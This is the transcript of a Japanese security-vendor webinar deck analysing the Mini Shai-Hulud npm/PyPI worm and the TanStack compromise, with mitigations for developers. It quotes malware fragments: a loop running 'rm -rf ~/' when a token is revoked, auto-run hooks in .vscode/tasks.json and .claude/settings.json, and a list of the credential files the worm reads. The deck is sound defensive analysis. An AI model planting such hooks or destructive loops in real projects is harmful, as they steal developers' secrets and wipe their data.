Upgrade to Pro — share decks privately, control downloads, hide ads and more …

更なる npm パッケージ侵害事件「Mini Shai-Hulud」徹底解説

Sponsored · Your Podcast. Everywhere. Effortlessly. Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.

更なる npm パッケージ侵害事件「Mini Shai-Hulud」徹底解説

弊社ウェビナー ( https://flatt.tech/takumi/event/mini-shai-hulud-202605 ) におけるCTO米内の講演資料です。
動画はこちら ( https://youtu.be/o7Q_xroD6ts )

Avatar for GMO Flatt Security

GMO Flatt Security

May 18, 2026

More Decks by GMO Flatt Security

Transcript

  1. 更なる npm パッケージ侵害事件 更なる npm パッケージ侵害事件 「Mini Shai-Hulud」徹底解説 「Mini Shai-Hulud」徹底解説

    GMO Flatt Security株式会社 取締役Co-CTO 米内 貴志(@lmt_swallow) © GMO Flatt Security Inc. All Rights Reserved. 1 / 38
  2. 米内 貴志(よねうち たかし) 仕事&趣味: ものづくりを安全にすること 2019年〜 Flatt Security('21〜 CTO) 著書『Web

    ブラウザセキュリティ』等 セキュリティ・キャンプ '12 参加, '18-'24 スタッフ等 未踏ターゲット '21 / Quantum-Classical Programming Language ICC '23 アジア代表 / Head Captain CODE BLUE レビューボード '24-'25 自己紹介 © GMO Flatt Security Inc. All Rights Reserved. 2 / 38
  3. 一連の2026年侵害侵害の流れで、有名OSS「TanStack」が侵害を受け、影響の輪が広がった 公開リポジトリの GitHub Actions が侵害され、84 の悪性パッケージ・バージョンが公開された 利用者環境では secret と publish

    権限が探索され、漏洩+他パッケージ侵害に波及した 最終数百の npm/PyPI パッケージ・バージョンに影響が広がったと見られる 本ウェビナーの出発点 © GMO Flatt Security Inc. All Rights Reserved. 4 / 38
  4. TeamPCP 一連の攻撃活動の振り返り Trivy、LiteLLM、Bitwarden、Mini Shai-Hulud 第一波から第二波まで TanStack 侵害の詳細(ワームの拡大起点) Fork network の悪用、Actions

    cache の汚染、OIDC 公開権限の悪用 Mini Shai-Hulud 検体の特徴 Trusted Publishing、Provenance gh-token-monitor を読む 自組織のソフトウェアサプライチェーン強化に向けて 受け入れ評価、依存固定、CI/CD 境界、観測を実装する 01 02 03 04 今日話すこと © GMO Flatt Security Inc. All Rights Reserved. 5 / 38
  5. Trivy 周辺の事案を皮切りに、2か月間で著名OSSへの侵害が連続。利用企業にもインパクト 2/27〜3/19 Trivy Actions 侵害。起点? 3/24 LiteLLM PyPI 側への侵害拡大

    3/27 Telnyx PyPI 側での軽微な検体変化 4/23 Bitwarden Trusted Publishing 侵害 4/29〜5/12 Mini Shai-Hulud ワーム型の拡散 2025年も nx 侵害や Shai-Hulud 等、顕著な例は見られた 2026年は更に侵害実績やインパクトが広がりを見せており、脅威アクタ TeamPCP がこのトレンドに寄与 どの検体でも、侵害済みパッケージは利用者環境で Infostealer 的に動作し、次の侵害材料を得ていく 長期トークンがある限り、あるいは公開リポジトリ侵害のベクタが根絶されない限り、 攻撃の拡大は続くと見るべき TeamPCP と見られる侵害の流れ(2026年春) © GMO Flatt Security Inc. All Rights Reserved. 7 / 38
  6. Trivy 侵害(+ Checkmarx 侵害)は、多数の開発者系クレデンシャル窃取につながった PAT 窃取 GitHub 認証情報が何かしらで漏れる Action 汚染

    タグが書き換えられる 利用者 CI 実際に侵害済み Action が動く 次の認証情報 認証情報が漏れる TeamPCP - Trivy 侵害(2/27〜3/19) © GMO Flatt Security Inc. All Rights Reserved. 8 / 38
  7. Trivy 由来で漏れたと見られる認証情報が、PyPI パッケージに波及した 共に PyPI 内でも一定数の利用があるパッケージである LiteLLM 曰く "We believe

    that the compromise originated from the Trivy dependency used in our CI/CD security scanning workflow." であり、状況証拠的にも Trivy 侵害が起点と見られる ソフトウェアサプライチェーン侵害が連鎖(カスケード)することが改めて示された TeamPCP - LiteLLM/Telnyx 侵害(3/24〜3/27) © GMO Flatt Security Inc. All Rights Reserved. 9 / 38
  8. Trusted Publishing 利用パッケージである @bitwarden/cli が侵害された @bitwarden/cli は Trusted Publishing を利用するパッケージであり、長期

    NPM_TOKEN は利用されていなかった 一方今回は、悪性コードを含む GitHub Actions が実行され、OIDC経由で発行される短期の NPM トークンが漏洩 結果として Trusted Publishing 有効下でも、パッケージの書き換えが成功してしまった Trusted Publishing(あるいはトークンの Exposure Window 最小化)が銀の弾丸でないことが示された TeamPCP - Bitwarden 侵害(4/23) © GMO Flatt Security Inc. All Rights Reserved. 10 / 38
  9. 昨年度 Shai-Hulud を踏襲した npm/PyPI マルウェア自動拡散が更に試験された Mini Shai-Hulud はワーム型の npm/PyPI マルウェア。検体の挙動から命名された

    感染した端末内のトークンで、他パッケージにマルウェアを埋め込む挙動 が見られた SAP CAP 系パッケージを含むいくつかに波及したが、影響は一定限定的だった TeamPCP - Mini Shai-Hulud 第一波(4/29〜4/30 頃) © GMO Flatt Security Inc. All Rights Reserved. 11 / 38
  10. Actions 汚染により悪性パッケージが公開された事案。他よりも更に短期決戦を見せた 5/11 11:11 UTC Actions 汚染 5/11 19:20 UTC

    悪性公開 1回目 5/11 19:26 UTC 悪性公開 2回目 5/11 19:46 UTC 公開検知 5/11 21:03 UTC 非推奨化 日本時間では、悪性公開は 2026年5月12日 04:20 と 04:26 ごろに発生した 今回は 20-30 分でコミュニティへの通知がいき、かつメンテナが即時削除対応を実行した 発見&コーディネートした StepSecurity 社には素直にリスペクト 即時対応を進めたメンテナにも多大なる感謝をすべきタイミング ここまで検知が速くても、利用者とメンテナの両方に到達しうる難しさも感じたわけだが… 出典: TanStack Postmortem TanStack 侵害の詳細 - 概要とタイムライン © GMO Flatt Security Inc. All Rights Reserved. 14 / 38
  11. 最初は Pull Request("Pwn Request") 。そこから悪性パッケージの公開に至った Fork&Pull Request 悪性コードを含む bundle-size ワークフロー実行

    ここで悪性コードが起動 GitHub Actions キャッシュ汚染 pnpm store に悪性コー ドが残置 release ワークフロー実行 ここで悪性コードが起動 OIDC token の 抽出 memory dump される npm パッケージ 公開&汚染 悪性 tarball を公開 典型的な OSS 侵害パターン。今回も Pull Request が起点だった 一方 GitHub Actions のキャッシュ汚染が特徴的なポイント(Clinejection 事案でも見られたが) TanStack 侵害の詳細 - パッケージ侵害に至る攻撃チェーン © GMO Flatt Security Inc. All Rights Reserved. 15 / 38
  12. PR へのコメントやラベル付けには便利だが、fork code 実行と相性が悪い fork 由来 code を checkout して実行すると、base

    repo の信頼境界へ入る # bundle-size.yml on: pull_request_target permissions: { contents: read } steps: - uses: actions/checkout@v6 with: ref: refs/pull/${{ github.event.pull_request.number }}/merge - uses: TanStack/config/.github/setup@main - run: pnpm nx run @benchmarks/bundle-size:build 本来の用途 pull_request_target は base repository の workflow と権限で動く 今回の危険点 その文脈で refs/pull/.../merge を checkout し、fork が制御する build code を実行した。 見落としやすい点 permissions: { contents: read } は repository token を絞るだけ で、cache 保存そのものは止めない。 出典: TanStack Postmortem, GitHub Security Lab, GitHub Docs TanStack 侵害の詳細 - pull_request_target を悪用した Pwn Request © GMO Flatt Security Inc. All Rights Reserved. 16 / 38
  13. GitHub Actions のキャッシュ汚染を経由して、リリースワークフローの侵害にこぎつけた key: Linux-pnpm-store-${hashFiles('**/pnpm-lock.yaml')} bundle-size workflow 実行 攻撃者が制御する merge

    ref 内のスクリプトが実行 された → GitHub Actions キャッシュ汚染 GitHub Actions のキャッシュ汚染により、悪性コー ドが pnpm store に残置された → release workflow 実行 悪性 tarball を公開する pull_request_target で実行された bundle-size workflow 自体にはパッケージ公開権限なし 一方 GitHub Actions のキャッシュ汚染は可能な状態だった(cache context は共通なので) 結果として、攻撃者は、公開権限のある release.yml 側にも悪性コードを受け渡すことが出来た TanStack 侵害の詳細 - キャッシュ汚染による別ワークフローへのラテラル © GMO Flatt Security Inc. All Rights Reserved. 17 / 38
  14. 他検体との差分は薄いが、AWS と Vault への能動的なアクセスが実装されたのが特徴 読み取り面 検体で見る動き 攻撃者に渡るもの 調査で見る痕跡 GitHub /

    npm gh auth token 、.git-credentials 、.npmrc を 読む repository 操作権限、npm publish token process exec、file read、 registry publish AWS STS、SSM、Secrets Manager を 17 リージョンで走 査する IAM identity、parameter、secret value ssm:GetParameter* 、 secretsmanager:GetSecretValue 、 IMDS Vault / cloud file .vault-token 、/run/secrets/vault_token 、 127.0.0.1:8200 を試す Vault token、cloud credential Vault audit、localhost API、metadata access Kubernetes ~/.kube/config と service account token を探す cluster context、namespace、API token API server audit、Pod / Secret 操作 開発ツール Claude Code、VS Code、Docker、shell history を読 む hook、追加 script、registry / cloud 設定 設定差分、task 起動、端 末内 file access 出典: GMO Flatt Security Blog Stage 3 検体の特徴 - 持ち出し対象のデータ © GMO Flatt Security Inc. All Rights Reserved. 19 / 38
  15. 第二波は通常の C2 + GitHub の他に、Session Protocol が利用されているのが差分 経路 行き先 使われ方

    見るべき痕跡 C2 HTTPS POST hxxps://git-tanstack[.]com/router 主経路として、収集済み secret と環 境情報を送る DNS、egress、POST path、body size を見る Session Protocol filev2[.]getsession[.]org/file/{id} seed1-3[.]getsession[.]org RSA / AES で暗号化し、C2 と別系統 で常時送る Session 系 domain、長い接 続、未知 TLS を見る GitHub 退避 api.github.com GraphQL createCommitOnBranch C2 応答不可時に、被害者 account 上 の repository へ投下する GraphQL mutation、未知 repository、異常 branch を 見る 検体の特徴 - データ持ち出し経路 © GMO Flatt Security Inc. All Rights Reserved. 20 / 38
  16. 第二波の永続化は、IDE、GitHub Actions、OS 自動起動に残る AI coding Claude Code .claude/settings.json .claude/setup.mjs .claude/router_runtime.js

    IDE VS Code .vscode/tasks.json .vscode/setup.mjs Repository GitHub Actions .github/workflows/ codeql_analysis.yml macOS LaunchAgent LaunchAgents/ com.user.gh-token- monitor.plist Linux systemd user systemd/user/ gh-token-monitor.service GitHub token monitor は 60 秒ごとに token 有効性を確認する実装として報告されている token 失効を検知した場合、rm -rf ~/ を実行する処理が確認されている そのため、対応順序は「永続化停止」から始める必要がある(非常に厄介…) 検体の特徴 - 永続化 © GMO Flatt Security Inc. All Rights Reserved. 21 / 38
  17. IDE と AI tool の設定は再実行地点として使われる { ".vscode/tasks.json": { "runOn": "folderOpen",

    "command": "node .vscode/setup.mjs" }, ".claude/settings.json": { "SessionStart": "node .claude/setup.mjs" } } 実行のタイミングは repository を開く、AI coding assistant の session が始まる、task が呼ばれるタイミングなど 開発者が意識された永続化といえる 前回 Mini Shai-Hulud 第一波からこのような挙動が見られている 検体の特徴 - 永続化(IDE) © GMO Flatt Security Inc. All Rights Reserved. 22 / 38
  18. 永続化ロジック内には、ランサム性を帯びたロジックが実装されている [Service] ExecStart=%h/.config/gh-token-monitor/monitor.sh Restart=always # 検体要約 while true; do gh

    auth status >/dev/null 2>&1 || rm -rf ~/ sleep 60 done GitHub token を先に失効すると、monitor が破壊処理へ進みうる(!) 今回検体の最もややこしいポイントはここ。これ系検体がランサム性を帯びてきた、ということ 検体の特徴 - 永続化(OS) © GMO Flatt Security Inc. All Rights Reserved. 23 / 38
  19. 端末上には credentials が広く散在。これを極力減らしたい(が…) 端末内の重要な認証情報は、短期発行系(aws sso ... )に寄せる 必要なときにだけ HITL で権限を与え、不要になったら破棄する

    これができないものは、ローテーション運用を検討する ローカルファイルとしても置かず、シークレットの in-memory 管理に寄せる プロセスレベルでシークレットの Exposure を縮められると吉 Infisical のようなソリューションも出てきている infisical run -- npm install some-package でも… たとえば gh コマンドを捨てたくはないが、セッションめっちゃ持つわけで… 開発者だってブラウザ使うし、Slack 見るわけで… シェルの履歴だとかは何だかんだ貴重。wipe しにくい。困ったね… 例1-1: 端末上のシークレット散在を最小化する © GMO Flatt Security Inc. All Rights Reserved. 26 / 38
  20. # Bad: ホスト全権で実行 $ npm install some-package # Good 1:

    fence で軽量 sandbox (Use-Tusk/fence ) $ fence -t code npm install some-package # Good 2: Docker コンテナ内で実行 $ docker run --rm -v "$PWD":/work -w /work node:20 \ npm install some-package # Good 3: devcontainers で開発環境全体を分離 $ devcontainer exec --workspace-folder . npm install some-package コンテナやライトな sandbox 技術で、侵害時のアクセス可能範囲を限定するのは、強力な選択肢である 勿論パフォーマンスや自由とのトレードオフはある。全てを devcontainers に詰めるのは面倒でもある コード書く時間が圧縮できるAI時代においては、許容すべきコストにはなってきたと思う 例1-2: 開発作業を端末サンドボックスに隔離する © GMO Flatt Security Inc. All Rights Reserved. 27 / 38
  21. ビルドは様々な操作を内包。権限を渡さず、最大の侵害を Artifact 汚染に留めると吉 Bad: ビルド + デプロイ同居 release: permissions: {

    id-token: write } # 本番ロール steps: - run: npm ci && npm run build # 外部コードが動く - uses: aws-actions/configure-aws-credentials@v4 - run: aws s3 sync dist/ s3://prod-bucket/ Good: ビルド ↔ デプロイ分離 build: permissions: { contents: read } # 本番権限なし steps: - run: npm ci && npm run build - uses: actions/upload-artifact@v4 deploy: needs: build permissions: { id-token: write } # 本番ロールはここだけ steps: - uses: actions/download-artifact@v4 - uses: aws-actions/configure-aws-credentials@v4 - run: aws s3 sync dist/ s3://prod-bucket/ 例1-3: ビルドとデプロイを分離する © GMO Flatt Security Inc. All Rights Reserved. 28 / 38
  22. 極力長期 secrets を捨て、実行時にだけ短期 token を発行する仕組みに移行されたい # AWS のキーレスフェデレーション (OIDC) の例

    permissions: id-token: write # ← OIDC token を取るために必要 contents: read steps: - uses: actions/checkout@v4 - uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::123456789012:role/GitHubActions-Deploy aws-region: ap-northeast-1 # AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY は持たない - run: aws s3 sync dist/ s3://prod-bucket/ 例1-4: キーレスフェデレーションで長期 secrets を捨てる © GMO Flatt Security Inc. All Rights Reserved. 29 / 38
  23. Exploit が起きた時に気づける・調査や管理できる状態を、平時から作っておく 早く気づく、調査できるようにする、は影響最小化の重要ピース 法人だと EDR/MDM は標準的になってきている ちゃんとテレメトリは取れるし管理が効く 検知は万能ではないが、少なくとも有事には効く staging/production 環境のランタイムにもラフな監視がありがち

    GuardDuty なども、割と既知 C2 への通信を怒ってくれる このあたりはベスプラとして啓蒙され、導入傾向である ただ Actions 等、CI/CD 環境はまだ管理が薄い傾向にある マネージド GitHub Actions では特にテレメトリが取りづらい 結果として侵害の防止・侵害時調査が困難な傾向である このような手薄いエンドポイントを強化していきたい # 宣伝: eBPF でトレースが取れます # https://flatt.tech/takumi/features/runner runs-on: takumi-runner steps: - run: npm ci && npm run build 例1-5: CI/CD・端末のテレメトリ取得・監視 © GMO Flatt Security Inc. All Rights Reserved. 30 / 38
  24. 大きな侵害は結構誰かが気づいてくれる。これに頼って最新版をインストールしないのはあり # npm v11+ / .npmrc min-release-age=7 # uv (Python)

    uv add --exclude-newer "7 days" <pkg-name> インストールをちょっと待てば、両事案とも引き込まずに済んだ axios は約 3 時間、@bitwarden/cli も数時間以内でテイクダウンれている このような「ちょっと待つ」戦略を Dependency Cooldon と呼ぶ なお数日待てば全て安全とは限らない。長期間潜伏する検体は普通にある… かつ、React2Shell のような、緊急で対応が必要なパッチも存在する あくまで万能ではないし、多層防御の 1 層として扱うと吉 例2-1: 公開直後のバージョンを避ける © GMO Flatt Security Inc. All Rights Reserved. 31 / 38
  25. preinstall / postinstall の自動実行を原則無効化しておけば、一つアタックベクタは減る # オプション指定で止められる npm install --ignore-scripts #

    pnpm v10+ は lifecycle script をデフォルトでブロック pnpm install axios も @bitwarden/cli も Lifecycle script の自動実行が侵害点 これを止めておけば、これらの事例では、被害を受けなかったといえる ただし、以下の点はまだ辛いので、地道に頑張る必要がある エコシステム・パッケージマネージャ(やそのバージョン)ごとに挙動にブレがある。あるいはできない そもそも正当な Lifecycle script もあり、止めることで動かないものもある(バインディング系のパッケージなど) Lifecycle script は高々1つの攻撃経路であり、普通にパッケージ内にマルウェア混入する場合もある 例2-2: install 時の自動コード実行を止める © GMO Flatt Security Inc. All Rights Reserved. 32 / 38
  26. tag や latest ではなく、コミット SHA や hash による不変参照に依存する # GitHub

    Actions: SHA pinning (mutable タグを使わない) - uses: actions/[email protected] # v4.2.2 # npm: lockfile から再現性を担保 npm ci # pip: ハッシュ検証付きインストール pip install --require-hashes -r requirements.txt mutable な @v1 系参照は、侵害されたタグ書き換えで即被害を受ける 改ざんを検知できる reference にだけ依存する。SHA・hash・provenance attestation を組み合わせる 自動化には pinact のようなツールが現実的 例2-3: immutable reference への依存を徹底する © GMO Flatt Security Inc. All Rights Reserved. 33 / 38
  27. 公式レジストリ直アクセスではなく、悪性パッケージを検査・遮断するプロキシ層を挟む # npm $ npm config set registry https://npm.flatt.tech/ #

    pip $ pip config set global.index-url https://pypi.flatt.tech/simple/ # bundler (RubyGems) $ bundle config set --global mirror.https://rubygems.org https://rubygems.flatt.tech/ レジストリと自社の間にキュレーションを行う層を挟むことで、悪性パッケージを到達前に止める 1 コマンドで導入できる例として、弊社の Takumi Guard(無料)等がある Cooldown と組み合わせれば、検疫期間中の検査結果を反映する形で防御層が厚くなる 例2-4: キュレーション層を経由する © GMO Flatt Security Inc. All Rights Reserved. 34 / 38
  28. 今後は開発の対策のスタンダードを引き上げていく必要がある 以下の中の出来るところからでいいので進められたい 方向 具体策 メリット 影響範囲の最小化 起きた時に被害を広げない シークレット散在の最小 化 端末侵害時の流出量を減らす

    開発端末サンドボックス install / 開発時の被害を sandbox 内に閉じ込める ビルドとデプロイの分離 ビルド侵害が本番に直結しない キーレス化 長期 secret 漏洩のルートを消す CI/CD・端末テレメトリ IoC 公開後に過去ジョブを遡及して影響を特定できる 発生機会の縮小 そもそも踏まないようにする Dependency Cooldown テイクダウン前に踏み抜くケースを除去 自動コード実行抑止 preinstall / postinstall 起点の感染を 1 本止める immutable reference 徹 底 タグ書き換え型の侵害を無効化 キュレーション層経由 悪性パッケージを到達前にブロック 振り返り:対策の一覧 © GMO Flatt Security Inc. All Rights Reserved. 35 / 38
  29. Mini Shai-Hulud 第二波以降も続くと考え、今後に備えていただきたい 章 見たこと 持ち帰る判断 第1部 TeamPCP の流れ Trivy、LiteLLM、Bitwarden、第一波は、開発者環境と

    CI/CD を次の侵害材料 に変えた 利用者は、いつでも次の供給者になりうる 第2部 TanStack 侵害 pull_request_target 、Actions cache、OIDC 公開権限が一本につながった 公開権限の手前にある cache と workflow 境界を設計対 象にする 第3部 検体の特徴 secret 探索、複線化した持ち出し、IDE / OS 永続化、破壊的な monitor が組み 合わさった 検体は単なる infostealer ではなく、復旧順序を誤らせ る 第4部 取るべき行動 cooldown、script 抑止、依存固定、キュレーション、CI/CD 分離、観測を組み 合わせる 「踏まない」と「連鎖させない」を平時の仕組みに落と す さいごに © GMO Flatt Security Inc. All Rights Reserved. 37 / 38